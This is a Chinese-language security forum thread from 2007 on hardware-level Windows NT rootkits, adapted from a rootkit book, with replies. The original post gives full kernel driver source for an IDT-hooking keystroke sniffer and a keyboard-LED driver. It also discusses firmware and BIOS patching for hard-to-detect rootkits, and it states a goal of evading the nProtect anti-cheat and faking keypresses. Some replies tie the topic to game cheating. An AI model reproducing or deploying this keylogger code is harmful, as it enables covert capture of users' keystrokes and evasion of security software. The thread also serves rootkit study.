首页
社区
课程
招聘
[讨论]NT内核下直接硬件操控(RootKit)
发表于: 2007-12-31 17:00 12865

[讨论]NT内核下直接硬件操控(RootKit)

2007-12-31 17:00
12865

此文内容大部分来自《Rootkits: Subverting the Windows Kernel》,由于本人水平有限,错误是难免的;而且我也有很多不懂的地方,期待各位高人能指点迷津。
    修改BIOS和微芯片中的数据是很危险的,但效果往往也很明显。你必须非常小心地设计,这种类型的RootKit会非常难以检测。比如,修改以太网卡,这是一个很先进的思想,不过你必须熟悉硬件的许多技术细节。你可以通过逆向工程,公开的白皮书,或者内部资料来获取这类细节。
     这类技术不一定用到PC上,我们的周围,有很多嵌入式设备,它们用来执行一些短小和单一的程序。 一个嵌入式设备由一些微芯片及控制程序组成,它负责处理stepper motors,voltage regulation,armature movements, little blinking lights等等。
     硬件操控是一把双刃剑,一方面,它会使你的RootKit运行在很低的级别上,几乎没有什么可以限制你的东西,你可以直接访问外围设备,磁盘控制器,处理器,硬件的存贮器。另一方面,硬件的工作方式决定了它的平台相关性,使你的RootKit不具备可移植性。
     处理器通过执行保存在微芯片内的代码启动和运行,比如,PC机启动时,总是首先执行BIOS,扫描并配置硬件。所有的硬件都有这个共性。这段启动代码称为“bootstrap code”,“bootstrap code”也叫做firmware,它是非易失性的,就是说,当硬件断电时也不会被抹去。
     firmware是关键,RootKit可以通过为firmware打补丁实现我们想得到的新功能。但要注意,打补丁时不要覆盖其本来的代码,这类补丁一般都有严格的大小限制。
     为firmware打补丁,就必须要写入存贮芯片(在PC上,一般是指写入BIOS)。你可以用外部设备来做这件事,也可以用软件(加载程序)来实现。病毒或木马都可能这么做。
     路由器和一些嵌入式设备的firmware不支持使用加载程序。这种情况下你可以试下firmware升级的方法.
     软件的工作,除了简单的数学计算,再就是数据的移动。通过将特定的数据移动到硬件的存贮芯片,我们就可以对硬件进行控制。大部分硬件都有自己的存贮芯片,这些存贮芯片是可以被访问的。
     大部分硬件都会露出自己的存贮芯片地址,这个地址叫做端口。读写端口需要特殊的指令,在PC机上,读写指令分别为IN,OUT。不过在PC机下,很多硬件的存贮器地址会被映射到PC机内存上,这样你就可以直接用MOV指令来操作。
     读写硬件的存贮器和读写RAM有很大区别,如果你向一个端口写数据,然后马上又把数据读取出来,前后的数据有可能不同。因为该端口内部其实有两个寄存器,分别对应着读取与写入操作。


●I/O控制器
CPU和RAM之间共享一条总线(BUS),外围设备和卡槽设备连接到另一条总线,总线之间的联系必须要通过I/O控制器。现代主板上的总线类型非常

多,比如PCI总线 , AGP总线。总线是设备与设备之间,或者设备与CPU之间通信的桥梁。在总线上,有的设备只响应CPU发出的请求。有的则监

视总线上所有的数据传输。数据传输通过设备自己的存贮器进行,设备通过检查自己的存贮器是否发生改变来获取请求。

●BIOS
主板BIOS一般只用来启动计算机,现代操作系统很少用到BIOS提供的功能。在完成检查和配置硬件后,BIOS把控制转交给硬盘上的一个特殊的专

门用于启动的块,MBR->引导扇区->NTLDR 再由NTLDR加载WINDOWS核心。不过BIOS是可以被修改的,我已在前面提到过。著名的CIH病毒就是通过

修改BIOS来破坏系统的。PCI设备可以有自己的BIOS。

●控制键盘上的LED灯闪烁
  控制芯片很简单,只要你知道它的存贮器地址就可以了。我们可以用IN和OUT指令来传输数据。8259键盘控制器的端口地址为0x60和0x64。64

端口用于传输数据,60端口就稍微复杂点,如果对60端口进行读操作,那么读出的是状态字,写操作的话,写入的就是命令了。
下面我们用这种方法来控制键盘的LED,使其不停闪烁。我会在代码内加很多注释帮助你了解整个过程,我不懂的地方就请高人解答了-_-
代码如下:
PKTIMER gTimer;   //内核态下的定时器,功能和用户态下的定时器一样
PKDPC gDPCP;      //DPC对象,延迟过程调用,你可以暂且把它理解为回调函数
UCHAR g_key_bits = 0;
#define SET_LEDS 0xED  //命令字
#define KEY_RESET 0xFF
#define KEY_ACK 0xFA // ack
#define KEY_AGAIN 0xFE // send again
PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60; //端口0x60和0x64
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;
#define IBUFFER_FULL 0x02  //status register bits
#define OBUFFER_FULL 0x01  //这两个位我不太清楚是什么意义,下面会用到
// flags for keyboard LEDS
#define SCROLL_LOCK_BIT (0x01 << 0)//用于指示键盘的LEB闪烁,下面会提到
#define NUMLOCK_BIT (0x01 << 1)
#define CAPS_LOCK_BIT (0x01 << 2)
/* 这个函数用于等待,等待可以对键盘端口进行读写操作?不太了解★*/
ULONG WaitForKeyboard()
        {
                char _t[255];
                int i = 100; // number of times to loop
                UCHAR mychar;
                //DbgPrint("waiting for keyboard to become accessible\n");
                do
                {
                        mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );//READ_PORT_UCHAR是HAL.DLL提供的宏,相当于in指令,但可以

跨各种硬件平台
                        KeStallExecutionProcessor(50);
                        //_snprintf(_t, 253, "WaitForKeyboard::read byte %02X
                        // from port 0x64\n", mychar);
                        //DbgPrint(_t);
                        if(!(mychar & IBUFFER_FULL)) break; // if the flag is
                        // clear, we go ahead 看样子是等捕获的数据第2位为0,这代表什么?
                }
                while (i--);
                if(i) return TRUE;
                return FALSE;
        }
/*下面这个函数必须在调用WaitForKeyboard()并且返回成功后才可调用,函数名的字面意思是清空输出存贮器
   这样看来,调用OUT指令,在取出数据的同时,所取出的数据也会在存贮器内被删除,不知道理解的对不对★*/
        void DrainOutputBuffer()
        {
                char _t[255];
                int i = 100; // number of times to loop
                UCHAR c;
                //DbgPrint("draining keyboard buffer\n");
                do
                {
                        c = READ_PORT_UCHAR(KEYBOARD_PORT_64); //
                        KeStallExecutionProcessor(666);
                        //_snprintf(_t, 253, "DrainOutputBuffer::read byte
                        // %02X from port 0x64\n", c);
                        //DbgPrint(_t);
                        if(!(c & OBUFFER_FULL)) break; // If the flag is
                        // clear, we go ahead.
                        // Gobble up the byte in the output buffer.
                        c = READ_PORT_UCHAR(KEYBOARD_PORT_60);
                        //_snprintf(_t, 253, "DrainOutputBuffer::read byte
                        // %02X from port 0x60\n", c);
                        //DbgPrint(_t);
                }
                while (i--);
        }
/*下面这个函数就好理解了,向60端口发送命令,*/
ULONG SendKeyboardCommand( IN UCHAR theCommand )
        {
                char _t[255];
                if(TRUE == WaitForKeyboard()) //先调用WaitForKeyboard()函数等待
                {
                        DrainOutputBuffer(); //再清空输出存贮器?要这两步后才可以对60端口输入命令,这两步是什么意义?★
                        //_snprintf(_t, 253, "SendKeyboardCommand::sending byte
                        // %02X to port 0x60\n", theCommand);
                        //DbgPrint(_t);
                        WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );
                        //DbgPrint("SendKeyboardCommand::sent\n");
                }
                else
                {
                        //DbgPrint("SendKeyboardCommand::timeout waiting
                        for keyboard\n");
                                return FALSE;
                }
                // TODO: wait for ACK or RESEND from keyboard.
                return TRUE;
        }
/*下面这个为SendKeyboardCommand()的外包函数,具体实现发送命令*/
void SetLEDS( UCHAR theLEDS )
        {
                // setup for setting LEDS
                if(FALSE == SendKeyboardCommand( 0xED )) //
                {
                        //DbgPrint("SetLEDS::error sending keyboard command\n");
                }
                // send the flags for the LEDS
                if(FALSE == SendKeyboardCommand( theLEDS ))
                {
                        //DbgPrint("SetLEDS::error sending keyboard command\n");
                }
        }

/*下面这个函数是卸载驱动,很简单,一看就明白
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
        {
                DbgPrint("ROOTKIT: OnUnload called\n");
                KeCancelTimer( gTimer ); //销毁创建的资源
                ExFreePool( gTimer );
                ExFreePool( gDPCP );
        }
/*这是DPC的回调函数,你可以这么理解。它具体调用SetLEDS()*/
VOID timerDPC(IN PKDPC Dpc,
                IN PVOID DeferredContext,
                IN PVOID sys1,
                IN PVOID sys2)
        {
                //WRITE_PORT_UCHAR( KEYBOARD_PORT_64, 0xFE );
                SetLEDS( g_key_bits++ );
                if(g_key_bits > 0x07) g_key_bits = 0;  //g_key_bits从0x1到0x6循环,键盘上的3个LED灯就会交错闪烁
        }
/*驱动程序的入口函数,很容易理解*/
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING
                theRegistryPath )
        {
                LARGE_INTEGER timeout;
                theDriverObject->DriverUnload = OnUnload;
                // These objects must be non-paged.
                gTimer = ExAllocatePool(NonPagedPool,sizeof(KTIMER));
                gDPCP = ExAllocatePool(NonPagedPool,sizeof(KDPC));
                timeout.QuadPart = -10;
                KeInitializeTimer( gTimer );
                KeInitializeDpc( gDPCP, timerDPC, NULL );
                if(TRUE == KeSetTimerEx( gTimer, timeout, 1000, gDPCP))
                {
                        DbgPrint("Timer was already queued..");
                }
                return STATUS_SUCCESS;
        }

●键盘监视器
   通过修改IDT中的0x31键盘中断处理程序来捕获键盘输入,但不同的系统也许这个中断会不同。如果你理解了第一个程序,
这个程序就很好理解了(但我还有些糊涂,我不懂的地方用★标识了,期待高人释疑)。你可以检查可编程中断控制器
PIC (Programmable Interrupt Controller)中对应IRQ 为1的中断,就是键盘中断。
   中断必须迅速地被处理,正常的中断处理程序调用DPC来处理中断,但我们不需要这样,我们只要捕获击键并放入内存就可以了。
代码如下:

// Basic Keyboard Sniffer

#include "ntddk.h"
#include <stdio.h>

#define MAX_IDT_ENTRIES 0xFF

// interrupt
#define MAKELONG(a, b) ((unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned short) (b))) << 16))
//#define NT_INT_KEYBD                                0xB3
#define NT_INT_KEYBD                                0x31

// commands
#define READ_CONTROLLER                0x20
#define WRITE_CONTROLLER        0x60

// command bytes
#define SET_LEDS                        0xED
#define KEY_RESET                        0xFF

// responses from keyboard
#define KEY_ACK                                0xFA        // ack
#define KEY_AGAIN                        0xFE        // send again

// 8042 ports
// when you read from port 64, this is called STATUS_BYTE
// when you write to port 64, this is called COMMAND_BYTE
// read and write on port 64 is called DATA_BYTE
PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60;
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;

// status register bits
#define IBUFFER_FULL                0x02
#define OBUFFER_FULL                0x01

// flags for keyboard LEDS
#define SCROLL_LOCK_BIT                (0x01 << 0)
#define NUMLOCK_BIT                        (0x01 << 1)
#define CAPS_LOCK_BIT                (0x01 << 2)

///////////////////////////////////////////////////
// IDT structures
///////////////////////////////////////////////////
#pragma pack(1) //该声明使其内部的各个成员没有间隙

// entry in the IDT, this is sometimes called
// an "interrupt gate"
typedef struct
{
        unsigned short LowOffset;
        unsigned short selector;
        unsigned char unused_lo;
        unsigned char segment_type:4;        //0x0E is an interrupt gate
        unsigned char system_segment_flag:1;
        unsigned char DPL:2;        // descriptor privilege level
        unsigned char P:1; /* present */
        unsigned short HiOffset;
} IDTENTRY;

/* sidt returns idt in this format */
typedef struct
{
        unsigned short IDTLimit;
        unsigned short LowIDTbase;
        unsigned short HiIDTbase;
} IDTINFO;

#pragma pack()

unsigned long old_ISR_pointer;        // better save the old one!!
unsigned char keystroke_buffer[1024]; //grab 1k keystrokes
int kb_array_ptr=0;

ULONG WaitForKeyboard()
{
        char _t[255];
        int i = 100;        // number of times to loop
        UCHAR mychar;
       
        //DbgPrint("waiting for keyboard to become accecssable\n");
        do
        {
                mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );

                KeStallExecutionProcessor(666);

                //_snprintf(_t, 253, "WaitForKeyboard::read byte %02X from port 0x64\n", mychar);
                //DbgPrint(_t);

                if(!(mychar & IBUFFER_FULL)) break;        // if the flag is clear, we go ahead
        }
        while (i--);

        if(i) return TRUE;
        return FALSE;
}

// call WaitForKeyboard before calling this function
void DrainOutputBuffer()
{
        char _t[255];
        int i = 100;        // number of times to loop
        UCHAR c;
       
        //DbgPrint("draining keyboard buffer\n");
        do
        {
                c = READ_PORT_UCHAR(KEYBOARD_PORT_64);
               
                KeStallExecutionProcessor(666);

                //_snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x64\n", c);
                //DbgPrint(_t);

                if(!(c & OBUFFER_FULL)) break;        // if the flag is clear, we go ahead
       
                // gobble up the byte in the output buffer
                c = READ_PORT_UCHAR(KEYBOARD_PORT_60);
               
                //_snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x60\n", c);
                //DbgPrint(_t);
        }
        while (i--);
}

// write a byte to the data port at 0x60
ULONG SendKeyboardCommand( IN UCHAR theCommand )
{
        char _t[255];
               
        if(TRUE == WaitForKeyboard())
        {
                DrainOutputBuffer();

                //_snprintf(_t, 253, "SendKeyboardCommand::sending byte %02X to port 0x60\n", theCommand);
                //DbgPrint(_t);

                WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );
               
                //DbgPrint("SendKeyboardCommand::sent\n");
        }
        else
        {
                //DbgPrint("SendKeyboardCommand::timeout waiting for keyboard\n");
                return FALSE;
        }
       
        // TODO: wait for ACK or RESEND from keyboard       
       
        return TRUE;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
        IDTINFO                idt_info;                // this structure is obtained by calling STORE IDT (sidt)
        IDTENTRY*        idt_entries;        // and then this pointer is obtained from idt_info
        char _t[255];

        // load idt_info
        __asm        sidt        idt_info       
        idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
        //将获取的IDT地址存入idt_entries
        DbgPrint("ROOTKIT: OnUnload called\n");

        DbgPrint("UnHooking Interrupt...");

        // restore the original interrupt handler
        __asm cli   //屏蔽中断,并且恢复原始的键盘中断处理程序
        idt_entries[NT_INT_KEYBD].LowOffset = (unsigned short) old_ISR_pointer;
        idt_entries[NT_INT_KEYBD].HiOffset = (unsigned short)((unsigned long)old_ISR_pointer >> 16);
        __asm sti   //恢复中断

        DbgPrint("UnHooking Interrupt complete.");
       
        DbgPrint("Keystroke Buffer is: ");
        while(kb_array_ptr--)    //调试输出所截取的键盘按键
        {
                DbgPrint("%02X ", keystroke_buffer[kb_array_ptr]);
        }
}

// using stdcall means that this function fixes the stack before returning (opposite of cdecl)
void __stdcall print_keystroke()
{
        UCHAR c;
        //DbgPrint("stroke");

        // get the scancode
        c = READ_PORT_UCHAR(KEYBOARD_PORT_60);      //读0x60端口获取扫描码
        //DbgPrint("got scancode %02X", c);

        if(kb_array_ptr<1024){                     //最多获取1024个扫描码
                keystroke_buffer[kb_array_ptr++]=c;
        }

        //put scancode back (works on PS/2) 必须将刚获取的扫描码再写回去?★
        WRITE_PORT_UCHAR(KEYBOARD_PORT_64, 0xD2); //command to echo back scancode       
        WaitForKeyboard();
        WRITE_PORT_UCHAR(KEYBOARD_PORT_60, c); //write the scancode to echo back
}

// naked functions have no prolog/epilog code - they are functionally like the
// target of a goto statement   我们自己的中断处理例程
__declspec(naked) my_interrupt_hook()
{
        __asm
        {
                pushad                                        // save all general purpose registers
                pushfd                                        // save the flags register
                call        print_keystroke        // call function
                popfd                                        // restore the flags
                popad                                        // restore the general registers
                jmp                old_ISR_pointer        // goto the original ISR
        }
}
//DriverEntry()主要的工作是替换IDT中的键盘中断处理程序
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
        IDTINFO                idt_info;                // this structure is obtained by calling STORE IDT (sidt)
        IDTENTRY*        idt_entries;        // and then this pointer is obtained from idt_info
        IDTENTRY*        i;
        unsigned long         addr;
        unsigned long        count;
        char _t[255];
       
        theDriverObject->DriverUnload  = OnUnload;

        // load idt_info
        __asm        sidt        idt_info
       
        idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

        for(count=0;count < MAX_IDT_ENTRIES;count++)
        {
                i = &idt_entries[count];
                addr = MAKELONG(i->LowOffset, i->HiOffset);
               
                _snprintf(_t, 253, "Interrupt %d: ISR 0x%08X", count, addr);
                DbgPrint(_t);
        }

        DbgPrint("Hooking Interrupt...");
        // lets hook an interrupt
        // exercise - choose your own interrupt
        old_ISR_pointer = MAKELONG(idt_entries[NT_INT_KEYBD].LowOffset,idt_entries[NT_INT_KEYBD].HiOffset);
       
// debug, use this if you want some additional info on what is going on
#if 1
        _snprintf(_t, 253, "old address for ISR is 0x%08x", old_ISR_pointer);
        DbgPrint(_t);
        _snprintf(_t, 253, "address of my function is 0x%08x", my_interrupt_hook);
        DbgPrint(_t);
#endif
       
        // remember we disable interrupts while we patch the table
        __asm cli
        idt_entries[NT_INT_KEYBD].LowOffset = (unsigned short)my_interrupt_hook;
        idt_entries[NT_INT_KEYBD].HiOffset = (unsigned short)((unsigned long)my_interrupt_hook >> 16);
        __asm sti

// debug - use this if you want to check what is now placed in the interrupt vector
#if 1
        i = &idt_entries[NT_INT_KEYBD];
        addr = MAKELONG(i->LowOffset, i->HiOffset);
        _snprintf(_t, 253, "Interrupt ISR 0x%08X", addr);
        DbgPrint(_t);       
#endif

        DbgPrint("Hooking Interrupt complete");

        return STATUS_SUCCESS;
}

●微代码(Microcode)升级
现代Intel和AMD的处理器有一项特性是微代码(Microcode)升级,它允许你升级(上传)处理器内部的一小段代码,这段代码可以改变处理器

的工作方式。就是说,处理器内部的的芯片是可以访问并修改的。这是很神秘的工作方式。直到我写这本书,这方面公开的文档也很少。
    微代码(Microcode)升级之初的目的不是为了让你攻击的,它是为了提供错误检查定位的功能。如果处理器出现了故障,升级处理器内部

的微代码可以确认问题来源。在处理器内部,微代码允许新的代码修改或添加。这可以改变处理器指令的工作,或者屏蔽处理器的一些特性。
Linux下已经存在微代码升级的驱动,你可以用它来修改Intel或AMD处理器的微代码。你可以在互联网上搜索“AMD K8 microcode update

driver”来找到它。

●总结,自己水平非常有限,错误难免。而且我也有些不懂的地方,欢迎大家拍砖、指正。
在给出的代码中,我不懂的地方有三处,我都以“★”符号标明。
第一点,闪烁键盘LED灯的代码中,在向0x60端口发送命令前,必须要调用一个WaitForKeyboard()函数,该函数读取0x64数据端口并且检查读取

数据的第二位是否为0,必须要为0,才可以继续下面的动作。那么0x64端口的第二位是什么标志?
第二点,在调用WaitForKeyboard()函数并且得到成功返回后,还要调用 DrainOutputBuffer()函数,该函数仅仅是不停地读取0x64端口,直到

读取的数据第一位为0。按函数名的字面意思,是要将0x64端口内的数据全部读完?读取0x64端口获取的数据其第一位是什么标志?
最后,在键盘中断处理程序中,捕获0x60端口内的键盘扫描码后,又要将获取的扫描码返回去,这么做是否必须?

我期望了解这两个端口的详细操作,因为我需要模拟按键功能。如果谁能给我详细些的资料,不胜感激。
●联想,疑惑
  使用IN 和 OUT 命令操作端口监听键盘动作似乎无法过NP,那么NP肯定有更底层的机制来阻止监视,难道是修改键盘控制器的驱动?
  键盘中断是怎么产生的?有没有可能人为产生一个键盘中断?键盘控制器和键盘中断处理例程之间还有什么?
  USB键盘是不是有完全不同的控制机制?我可以虚拟一个USB键盘来模拟按键吗?
  期待高人的回复...


[峰会]看雪.第八届安全开发者峰会10月23日上海龙之梦大酒店举办!

收藏
免费 7
支持
分享
最新回复 (14)
雪    币: 200
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
NP就是高丽高丽棒子邪恶龌龊的手段.
我听说过直接电路磁辐射捕获和干预.
2008-1-1 22:43
0
雪    币: 197
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
你那属于间谍工作的范围,不属于RootKit。
怎么没人来解答下我的问题呢?
2008-1-2 08:50
0
雪    币: 108
活跃值: (141)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
4
你读了端口里面的数据,系统驱动程序就不一定能再次读到了,这样会影响系统正常运行。回写端口就是为了解决这个问题。不过实际这样做的时候还是存在一些不稳定因素,貌似没办法解决了。楼主要问过NP的方法,何必绕这么大圈子?呵呵
2008-1-2 09:52
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
NP技术真的很头疼,使我们享受不到脱机外挂的便利 也使我们少玩很多私服
2008-1-2 10:07
0
雪    币: 243
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
键盘中断可以模拟产生,SOFTICE就有这功能。。。具体方法武安河的书里有写。。不过似乎只在WINDOWS2000和  XP下可以使用。
2008-1-2 10:15
0
雪    币: 248
活跃值: (42)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
还是不清楚...
2008-1-2 13:54
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
收藏起来慢慢看……至少现在还不懂ing……
2008-1-2 18:10
0
雪    币: 1309
活跃值: (2181)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
9
楼主是科学家吗?知识面好广,学习了!
2008-1-3 11:51
0
雪    币: 3053
活跃值: (891)
能力值: ( LV13,RANK:1300 )
在线值:
发帖
回帖
粉丝
10
__declspec(naked) my_interrupt_hook()
{
  __asm
  {
    pushad          // save all general purpose registers
    pushfd          // save the flags register
    call  print_keystroke  // call function
    popfd          // restore the flags
    popad          // restore the general registers
    jmp    old_ISR_pointer  // goto the original ISR
  }
}

将jmp    old_ISR_pointer  替换成 iretd,并使其正常工作,你就会进入到另一个领域。
2008-3-14 12:28
0
雪    币: 427
活跃值: (412)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
外挂的技术发展,导致出这么多内核的文章。
2008-3-15 10:15
0
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
看到楼上的话真是大有同感
2008-3-15 19:32
0
雪    币: 71
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
13
跳到ring3了,那些堆栈咋搞,我对汇编不是很熟啊 ,楼上的试过没?还望多说两句!
2008-6-17 08:33
0
雪    币: 242
活跃值: (423)
能力值: ( LV11,RANK:188 )
在线值:
发帖
回帖
粉丝
14
咱是大菜~_~

给LZ一点点帮助罢

那2个端口的详细说明可以看INTEL的编程说明
至于读取到 空数据才结束是因为键盘写CPU的端口处数据实际保存在一个buffer,这个buffer保存着已经输入但未被CPU读取的键,空数据代表着结束符。

键盘驱动 应该是被NP挂钩了的。
至于人为产生键盘中断。
可以试试直接运行IDT里面对应的代码..
2008-8-25 16:00
0
雪    币: 138
活跃值: (108)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
15
从端口读出的键盘扫描码,如果不回写,别人读不到,回写了,产生一系列的麻烦,要考虑到是否会激发新的中断,要考虑到多核情况,设置cpu偏向性。
2008-8-25 20:15
0
游客
登录 | 注册 方可回帖
返回
//